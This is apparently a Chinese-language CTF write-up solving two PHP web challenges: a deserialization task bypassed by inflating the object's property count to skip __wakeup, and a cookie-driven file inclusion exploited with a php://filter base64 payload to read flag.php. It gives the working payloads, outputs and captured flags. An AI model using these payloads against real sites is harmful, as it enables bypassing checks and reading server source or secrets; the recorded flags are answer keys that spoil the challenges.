目录
unserialize3
进入场景
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=
代码审计:
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 序列化字符串各部分简单释义: O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数 大括号内分别是:属性名类型;长度:名称:值类型:长度:值
要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本)
wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数
修改payload
O:4:"xctf":5:{s:4:"flag";s:3:"111";}
flag出现
cyberpeace{623ccbc0b884ccd53291b4b9de67f23d}
fileinclude
进入场景
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
源代码中看到include("english.php") 可知此处存在文件包含。
$lan
的值是从cookie中传过来的。所以对language
赋值,构造payload,重放包就可读出flag.php经过base64加密后字符串,base64解密后得到flag
这里涉及到php伪协议的知识
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。所以我们可以使用php://filter伪协议配合文件包含漏洞来读取文件的源码信息,因为文件包含会解析符合PHP语法规范的文件,借助filter伪协议就可以对目标文件进行编码输出,解码即可拿到目标文件的源代码。
格式: php://filter/过滤器|过滤器/resource=待过滤的数据流 ?file=php://filter/read=convert.base64-encode/resource=文件 ?file=php://filter/convert.base64-encode/resource=文件
构造payload
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
需要抓包并在cookie中进行传参
得到base64编码后的数据
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezdiYjg2MDdiN2ZhYzAwYjQ0MDdkZTg2MzA5NWMyZDE3fSI7DQo/Pg==
解码
flag出现
cyberpeace{7bb8607b7fac00b4407de863095c2d17}
php伪协议补充
php伪协议详解 https://blog.csdn.net/gental_z/article/details/122303393?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167341027516800192210545%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167341027516800192210545&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-122303393-null-null.142